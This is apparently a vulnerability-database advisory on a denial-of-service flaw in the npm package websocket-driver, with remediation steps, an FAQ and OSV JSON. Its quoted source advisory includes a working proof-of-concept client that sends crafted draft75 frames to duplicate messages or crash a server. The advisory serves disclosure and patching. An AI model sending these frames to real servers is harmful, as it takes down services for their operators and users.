CVE-2026-140004: websocket-driver Denial of Service Vulnerability

CRITICAL
Advisory Identifier: GHSA-v36f-rjg3-3v46
CVSS 9.1
CWE-456 CWE-248
Published
Advisory Summary

CVE-2026-140004 is a CRITICAL (CVSS 9.1) denial of service vulnerability (CWE-456: Missing Initialization of a Variable) affecting websocket-driver libraries in the npm ecosystem. The issue involves message corruption and denial of service triggered by crafted client message. Remediation is available by upgrading affected packages to version 0.8.0.

CVE-2026-140004 at a Glance

CVE Identifier CVE-2026-140004
GHSA Identifier GHSA-v36f-rjg3-3v46
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-456: Missing Initialization of a Variable
Affected Product websocket-driver
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-140004

To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

websocket-driver fixed: 0.8.0
npm install websocket-driver@0.8.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls websocket-driver

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140004, inspect your project dependencies using npm:

npm ls websocket-driver

Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.0), your application is affected.

Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-456: Missing Initialization of a Variable, where the product does not initialize critical variables, which causes the execution environment to use unexpected values. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

CVE-2026-140004 Affected websocket-driver Versions

1 component(s)
Fixed Versions:
0.8.0
Product / Package Ecosystem Affected Versions Fixed Version
websocket-driver
npm
< 0.8.0
0.8.0

References

Frequently Asked Questions

What is CVE-2026-140004?
CVE-2026-140004 is a security vulnerability in websocket-driver involving Message corruption and denial of service triggered by crafted client message under CWE-456: Missing Initialization of a Variable.
Which websocket-driver versions are affected?
Affected versions include releases prior to 0.8.0 across affected packages: websocket-driver.
What version fixes CVE-2026-140004?
Upgrading to 0.8.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is websocket-driver affected?
Yes, websocket-driver is affected in releases prior to 0.8.0. Upgrade your dependency to 0.8.0 or later.
What is the CVSS score of CVE-2026-140004?
CVE-2026-140004 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-140004?
CVE-2026-140004 is classified under CWE-456: Missing Initialization of a Variable (The product does not initialize critical variables, which causes the execution environment to use unexpected values.).
How can I check npm dependencies for CVE-2026-140004?
Run the dependency tree command: 'npm ls websocket-driver'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v36f-rjg3-3v46",
  "modified" : "2026-12-01T18:20:33Z",
  "published" : "2026-12-01T18:20:33Z",
  "aliases" : [ "CVE-2026-140004" ],
  "summary" : "websocket-driver: Message corruption and denial of service triggered by crafted client message",
  "details" : "### Summary\n\nAn unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.\n\n### Details\n\nThe `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.\n\nTo mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance.\n\n### Proof of concept\n\nGiven a server using `websocket-driver` to handle WebSocket connections:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n  let driver = ws.server()\n\n  driver.on('connect', () => {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () => conn.end())\n  conn.pipe(driver.io).pipe(conn)\n\n  driver.on('message', (msg) => console.log(msg.data))\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:\n\n```js\nconst net = require('net')\n\nlet tcp = net.connect(8000, '127.0.0.1')\n\ntcp.on('connect', () => {\n  tcp.write([\n    'GET / HTTP/1.1',\n    'Host: 127.0.0.1:8000',\n    'Connection: upgrade',\n    'Upgrade: websocket',\n    '', ''\n  ].join('\\r\\n'))\n\n  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))\n  tcp.write(Buffer.from([0x80, 0x01, 0xff]))\n})\n```\n\nThis client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes.\n\nAfter upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "websocket-driver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140004"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/faye/websocket-driver-node"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248", "CWE-456" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:20:33Z",
    "nvd_published_at" : "2026-11-30T22:17:29Z"
  }
}